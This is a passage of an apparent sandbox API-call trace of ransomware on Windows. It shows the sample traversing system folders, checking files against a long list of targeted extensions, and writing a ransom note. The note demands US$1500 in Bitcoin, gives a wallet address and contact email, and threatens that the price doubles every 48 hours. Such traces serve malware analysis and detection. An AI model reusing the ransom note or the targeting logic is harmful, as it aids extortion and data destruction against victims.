(pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll.aux", pszSpec="*.m4a") returned 0 [0123.013] lstrlenA (lpString="*.m4a") returned 5 [0123.013] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll.aux", pszSpec="*.csv") returned 0 [0123.013] lstrlenA (lpString="*.csv") returned 5 [0123.013] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae9e9850, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xae9e9850, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xae9e9850, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x564, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Web.DynamicData.Design.ni.dll.aux", cAlternateFileName="SYSTEM~1.AUX")) returned 0 [0123.013] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0123.013] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xae9e9850, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xae9e9850, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xae9e9850, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="857a4205a3e6f5c33e522631a4e7763d", cAlternateFileName="857A42~1")) returned 0 [0123.013] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0123.013] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf80baf0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xaf80baf0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xaf80baf0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.Web.dc83ace6#", cAlternateFileName="SYSTEM~1.DC8")) returned 1 [0123.013] lstrcmpA (lpString1=".", lpString2="System.Web.dc83ace6#") returned -1 [0123.013] lstrcmpA (lpString1="..", lpString2="System.Web.dc83ace6#") returned -1 [0123.013] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\*.*") returned="*.*" [0123.013] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\", lpString2="System.Web.dc83ace6#" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.dc83ace6#") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.dc83ace6#" [0123.013] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.dc83ace6#") returned 67 [0123.013] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.dc83ace6#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf80baf0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xaf80baf0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xaf80baf0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0123.015] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0123.015] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf80baf0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xaf80baf0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xaf80baf0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0123.015] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0123.015] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0123.015] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf80baf0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xaf831c50, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xaf831c50, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="f5de19da6cf7019e7fee25faf0b9b7df", cAlternateFileName="F5DE19~1")) returned 1 [0123.015] lstrcmpA (lpString1=".", lpString2="f5de19da6cf7019e7fee25faf0b9b7df") returned -1 [0123.015] lstrcmpA (lpString1="..", lpString2="f5de19da6cf7019e7fee25faf0b9b7df") returned -1 [0123.015] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.dc83ace6#\\*.*") returned="*.*" [0123.015] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.dc83ace6#\\", lpString2="f5de19da6cf7019e7fee25faf0b9b7df" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.dc83ace6#\\f5de19da6cf7019e7fee25faf0b9b7df") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.dc83ace6#\\f5de19da6cf7019e7fee25faf0b9b7df" [0123.015] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.dc83ace6#\\f5de19da6cf7019e7fee25faf0b9b7df") returned 100 [0123.015] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.dc83ace6#\\f5de19da6cf7019e7fee25faf0b9b7df\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf80baf0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xaf831c50, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xaf831c50, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0123.126] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0123.126] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf80baf0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xaf831c50, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xaf831c50, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0123.126] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0123.126] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0123.126] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf80baf0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xaf80baf0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xaf831c50, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x103200, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Web.Extensions.Design.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0123.126] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0123.126] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Web.Extensions.Design.ni.dll") returned -1 [0123.126] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Web.Extensions.Design.ni.dll") returned -1 [0123.126] lstrcmpiA (lpString1="", lpString2="System.Web.Extensions.Design.ni.dll") returned -1 [0123.126] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.dc83ace6#\\f5de19da6cf7019e7fee25faf0b9b7df\\*.*") returned="*.*" [0123.126] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.dc83ace6#\\f5de19da6cf7019e7fee25faf0b9b7df\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.dc83ace6#\\f5de19da6cf7019e7fee25faf0b9b7df\\") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.dc83ace6#\\f5de19da6cf7019e7fee25faf0b9b7df\\" [0123.126] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.dc83ace6#\\f5de19da6cf7019e7fee25faf0b9b7df\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.dc83ace6#\\f5de19da6cf7019e7fee25faf0b9b7df\\") returned="" [0123.126] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.dc83ace6#\\f5de19da6cf7019e7fee25faf0b9b7df\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.dc83ace6#\\f5de19da6cf7019e7fee25faf0b9b7df\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.dc83ace6#\\f5de19da6cf7019e7fee25faf0b9b7df\\HOW TO DECRYPT FILES.txt" [0123.126] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.dc83ace6#\\f5de19da6cf7019e7fee25faf0b9b7df\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.web.dc83ace6#\\f5de19da6cf7019e7fee25faf0b9b7df\\how to decrypt files.txt")) returned 0xffffffff [0123.127] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.dc83ace6#\\f5de19da6cf7019e7fee25faf0b9b7df\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.web.dc83ace6#\\f5de19da6cf7019e7fee25faf0b9b7df\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0123.128] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0123.128] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0123.148] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0123.148] CloseHandle (hObject=0x90) returned 1 [0123.148] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.dc83ace6#\\f5de19da6cf7019e7fee25faf0b9b7df\\", lpString2="System.Web.Extensions.Design.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.dc83ace6#\\f5de19da6cf7019e7fee25faf0b9b7df\\System.Web.Extensions.Design.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.dc83ace6#\\f5de19da6cf7019e7fee25faf0b9b7df\\System.Web.Extensions.Design.ni.dll" [0123.148] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.dc83ace6#\\f5de19da6cf7019e7fee25faf0b9b7df\\System.Web.Extensions.Design.ni.dll", pszSpec="*.ems") returned 0 [0123.148] lstrlenA (lpString="*.ems") returned 5 [0123.148] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.dc83ace6#\\f5de19da6cf7019e7fee25faf0b9b7df\\System.Web.Extensions.Design.ni.dll", pszSpec="*.db") returned 0 [0123.148] lstrlenA (lpString="*.db") returned 4 [0123.159] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.dc83ace6#\\f5de19da6cf7019e7fee25faf0b9b7df\\System.Web.Extensions.Design.ni.dll", pszSpec="*.dbf") returned 0 [0123.159] lstrlenA (lpString="*.dbf") returned 5 [0123.159] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.dc83ace6#\\f5de19da6cf7019e7fee25faf0b9b7df\\System.Web.Extensions.Design.ni.dll", pszSpec="*.myox") returned 0 [0123.159] lstrlenA (lpString="*.myox") returned 6 [0123.159] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.dc83ace6#\\f5de19da6cf7019e7fee25faf0b9b7df\\System.Web.Extensions.Design.ni.dll", pszSpec="*.myo") returned 0 [0123.159] lstrlenA (lpString="*.myo") returned 5 [0123.159] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.dc83ace6#\\f5de19da6cf7019e7fee25faf0b9b7df\\System.Web.Extensions.Design.ni.dll", pszSpec="*.qbw") returned 0 [0123.159] lstrlenA (lpString="*.qbw") returned 5 [0123.159] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.dc83ace6#\\f5de19da6cf7019e7fee25faf0b9b7df\\System.Web.Extensions.Design.ni.dll", pszSpec="*.qbb") returned 0 [0123.159] lstrlenA (lpString="*.qbb") returned 5 [0123.159] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.dc83ace6#\\f5de19da6cf7019e7fee25faf0b9b7df\\System.Web.Extensions.Design.ni.dll", pszSpec="*.qbm") returned 0 [0123.159] lstrlenA (lpString="*.qbm") returned 5 [0123.159] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.dc83ace6#\\f5de19da6cf7019e7fee25faf0b9b7df\\System.Web.Extensions.Design.ni.dll", pszSpec="*.qbo") returned 0 [0123.159] lstrlenA (lpString="*.qbo") returned 5 [0123.159] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.dc83ace6#\\f5de19da6cf7019e7fee25faf0b9b7df\\System.Web.Extensions.Design.ni.dll", pszSpec="*.qbx") returned 0 [0123.159] lstrlenA (lpString="*.qbx") returned 5 [0123.159] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.dc83ace6#\\f5de19da6cf7019e7fee25faf0b9b7df\\System.Web.Extensions.Design.ni.dll", pszSpec="*.qba") returned 0 [0123.159] lstrlenA (lpString="*.qba") returned 5 [0123.159] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.dc83ace6#\\f5de19da6cf7019e7fee25faf0b9b7df\\System.Web.Extensions.Design.ni.dll", pszSpec="*.qby") returned 0 [0123.159] lstrlenA (lpString="*.qby") returned 5 [0123.160] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.dc83ace6#\\f5de19da6cf7019e7fee25faf0b9b7df\\System.Web.Extensions.Design.ni.dll", pszSpec="*.qbj") returned 0 [0123.160] lstrlenA (lpString="*.qbj") returned 5 [0123.160] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.dc83ace6#\\f5de19da6cf7019e7fee25faf0b9b7df\\System.Web.Extensions.Design.ni.dll", pszSpec="*.ofx") returned 0 [0123.160] lstrlenA (lpString="*.ofx") returned 5 [0123.160] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.dc83ace6#\\f5de19da6cf7019e7fee25faf0b9b7df\\System.Web.Extensions.Design.ni.dll", pszSpec="*.qif") returned 0 [0123.160] lstrlenA (lpString="*.qif") returned 5 [0123.160] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.dc83ace6#\\f5de19da6cf7019e7fee25faf0b9b7df\\System.Web.Extensions.Design.ni.dll", pszSpec="*.mye") returned 0 [0123.160] lstrlenA (lpString="*.mye") returned 5 [0123.160] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.dc83ace6#\\f5de19da6cf7019e7fee25faf0b9b7df\\System.Web.Extensions.Design.ni.dll", pszSpec="*.mbox") returned 0 [0123.160] lstrlenA (lpString="*.mbox") returned 6 [0123.160] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.dc83ace6#\\f5de19da6cf7019e7fee25faf0b9b7df\\System.Web.Extensions.Design.ni.dll", pszSpec="*.eml") returned 0 [0123.160] lstrlenA (lpString="*.eml") returned 5 [0123.160] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.dc83ace6#\\f5de19da6cf7019e7fee25faf0b9b7df\\System.Web.Extensions.Design.ni.dll", pszSpec="*.pst") returned 0 [0123.160] lstrlenA (lpString="*.pst") returned 5 [0123.160] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.dc83ace6#\\f5de19da6cf7019e7fee25faf0b9b7df\\System.Web.Extensions.Design.ni.dll", pszSpec="*.ost") returned 0 [0123.160] lstrlenA (lpString="*.ost") returned 5 [0123.160] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.dc83ace6#\\f5de19da6cf7019e7fee25faf0b9b7df\\System.Web.Extensions.Design.ni.dll", pszSpec="*.idx") returned 0 [0123.160] lstrlenA (lpString="*.idx") returned 5 [0123.160] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.dc83ace6#\\f5de19da6cf7019e7fee25faf0b9b7df\\System.Web.Extensions.Design.ni.dll", pszSpec="*.dbx") returned 0 [0123.160] lstrlenA (lpString="*.dbx") returned 5 [0123.160] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.dc83ace6#\\f5de19da6cf7019e7fee25faf0b9b7df\\System.Web.Extensions.Design.ni.dll", pszSpec="*.sql") returned 0 [0123.160] lstrlenA (lpString="*.sql") returned 5 [0123.161] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.dc83ace6#\\f5de19da6cf7019e7fee25faf0b9b7df\\System.Web.Extensions.Design.ni.dll", pszSpec="*.mdb") returned 0 [0123.161] lstrlenA (lpString="*.mdb") returned 5 [0123.161] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.dc83ace6#\\f5de19da6cf7019e7fee25faf0b9b7df\\System.Web.Extensions.Design.ni.dll", pszSpec="*.fdb") returned 0 [0123.161] lstrlenA (lpString="*.fdb") returned 5 [0123.161] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.dc83ace6#\\f5de19da6cf7019e7fee25faf0b9b7df\\System.Web.Extensions.Design.ni.dll", pszSpec="*.wab") returned 0 [0123.161] lstrlenA (lpString="*.wab") returned 5 [0123.161] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.dc83ace6#\\f5de19da6cf7019e7fee25faf0b9b7df\\System.Web.Extensions.Design.ni.dll", pszSpec="*.dat") returned 0 [0123.161] lstrlenA (lpString="*.dat") returned 5 [0123.161] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.dc83ace6#\\f5de19da6cf7019e7fee25faf0b9b7df\\System.Web.Extensions.Design.ni.dll", pszSpec="*.txt") returned 0 [0123.161] lstrlenA (lpString="*.txt") returned 5 [0123.161] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.dc83ace6#\\f5de19da6cf7019e7fee25faf0b9b7df\\System.Web.Extensions.Design.ni.dll", pszSpec="*.jpeg") returned 0 [0123.161] lstrlenA (lpString="*.jpeg") returned 6 [0123.161] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.dc83ace6#\\f5de19da6cf7019e7fee25faf0b9b7df\\System.Web.Extensions.Design.ni.dll", pszSpec="*.jpg") returned 0 [0123.161] lstrlenA (lpString="*.jpg") returned 5 [0123.161] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.dc83ace6#\\f5de19da6cf7019e7fee25faf0b9b7df\\System.Web.Extensions.Design.ni.dll", pszSpec="*.png") returned 0 [0123.161] lstrlenA (lpString="*.png") returned 5 [0123.161] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.dc83ace6#\\f5de19da6cf7019e7fee25faf0b9b7df\\System.Web.Extensions.Design.ni.dll", pszSpec="*.php") returned 0 [0123.161] lstrlenA (lpString="*.php") returned 5 [0123.161] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.dc83ace6#\\f5de19da6cf7019e7fee25faf0b9b7df\\System.Web.Extensions.Design.ni.dll", pszSpec="*.cs") returned 0 [0123.161] lstrlenA (lpString="*.cs") returned 4 [0123.161] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.dc83ace6#\\f5de19da6cf7019e7fee25faf0b9b7df\\System.Web.Extensions.Design.ni.dll", pszSpec="*.cpp") returned 0 [0123.161] lstrlenA (lpString="*.cpp") returned 5 [0123.161] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.dc83ace6#\\f5de19da6cf7019e7fee25faf0b9b7df\\System.Web.Extensions.Design.ni.dll", pszSpec="*.rar") returned 0 [0123.161] lstrlenA (lpString="*.rar") returned 5 [0123.161] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.dc83ace6#\\f5de19da6cf7019e7fee25faf0b9b7df\\System.Web.Extensions.Design.ni.dll", pszSpec="*.zip") returned 0 [0123.162] lstrlenA (lpString="*.zip") returned 5 [0123.162] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.dc83ace6#\\f5de19da6cf7019e7fee25faf0b9b7df\\System.Web.Extensions.Design.ni.dll", pszSpec="*.html") returned 0 [0123.162] lstrlenA (lpString="*.html") returned 6 [0123.162] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.dc83ace6#\\f5de19da6cf7019e7fee25faf0b9b7df\\System.Web.Extensions.Design.ni.dll", pszSpec="*.htm") returned 0 [0123.162] lstrlenA (lpString="*.htm") returned 5 [0123.162] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.dc83ace6#\\f5de19da6cf7019e7fee25faf0b9b7df\\System.Web.Extensions.Design.ni.dll", pszSpec="*.xlsx") returned 0 [0123.162] lstrlenA (lpString="*.xlsx") returned 6 [0123.162] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.dc83ace6#\\f5de19da6cf7019e7fee25faf0b9b7df\\System.Web.Extensions.Design.ni.dll", pszSpec="*.xls") returned 0 [0123.162] lstrlenA (lpString="*.xls") returned 5 [0123.162] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.dc83ace6#\\f5de19da6cf7019e7fee25faf0b9b7df\\System.Web.Extensions.Design.ni.dll", pszSpec="*.mp4") returned 0 [0123.162] lstrlenA (lpString="*.mp4") returned 5 [0123.162] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.dc83ace6#\\f5de19da6cf7019e7fee25faf0b9b7df\\System.Web.Extensions.Design.ni.dll", pszSpec="*.ppt") returned 0 [0123.162] lstrlenA (lpString="*.ppt") returned 5 [0123.162] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.dc83ace6#\\f5de19da6cf7019e7fee25faf0b9b7df\\System.Web.Extensions.Design.ni.dll", pszSpec="*.pptx") returned 0 [0123.162] lstrlenA (lpString="*.pptx") returned 6 [0123.162] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.dc83ace6#\\f5de19da6cf7019e7fee25faf0b9b7df\\System.Web.Extensions.Design.ni.dll", pszSpec="*.doc") returned 0 [0123.162] lstrlenA (lpString="*.doc") returned 5 [0123.162] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.dc83ace6#\\f5de19da6cf7019e7fee25faf0b9b7df\\System.Web.Extensions.Design.ni.dll", pszSpec="*.dot") returned 0 [0123.162] lstrlenA (lpString="*.dot") returned 5 [0123.162] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.dc83ace6#\\f5de19da6cf7019e7fee25faf0b9b7df\\System.Web.Extensions.Design.ni.dll", pszSpec="*.docx") returned 0 [0123.162] lstrlenA (lpString="*.docx") returned 6 [0123.162] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.dc83ace6#\\f5de19da6cf7019e7fee25faf0b9b7df\\System.Web.Extensions.Design.ni.dll", pszSpec="*.7z") returned 0 [0123.162] lstrlenA (lpString="*.7z") returned 4 [0123.162] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.dc83ace6#\\f5de19da6cf7019e7fee25faf0b9b7df\\System.Web.Extensions.Design.ni.dll", pszSpec="*.tar") returned 0 [0123.163] lstrlenA (lpString="*.tar") returned 5 [0123.163] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.dc83ace6#\\f5de19da6cf7019e7fee25faf0b9b7df\\System.Web.Extensions.Design.ni.dll", pszSpec="*.bz2") returned 0 [0123.163] lstrlenA (lpString="*.bz2") returned 5 [0123.163] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.dc83ace6#\\f5de19da6cf7019e7fee25faf0b9b7df\\System.Web.Extensions.Design.ni.dll", pszSpec="*.gz") returned 0 [0123.163] lstrlenA (lpString="*.gz") returned 4 [0123.163] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.dc83ace6#\\f5de19da6cf7019e7fee25faf0b9b7df\\System.Web.Extensions.Design.ni.dll", pszSpec="*.mkv") returned 0 [0123.163] lstrlenA (lpString="*.mkv") returned 5 [0123.163] PathMatchSpecA 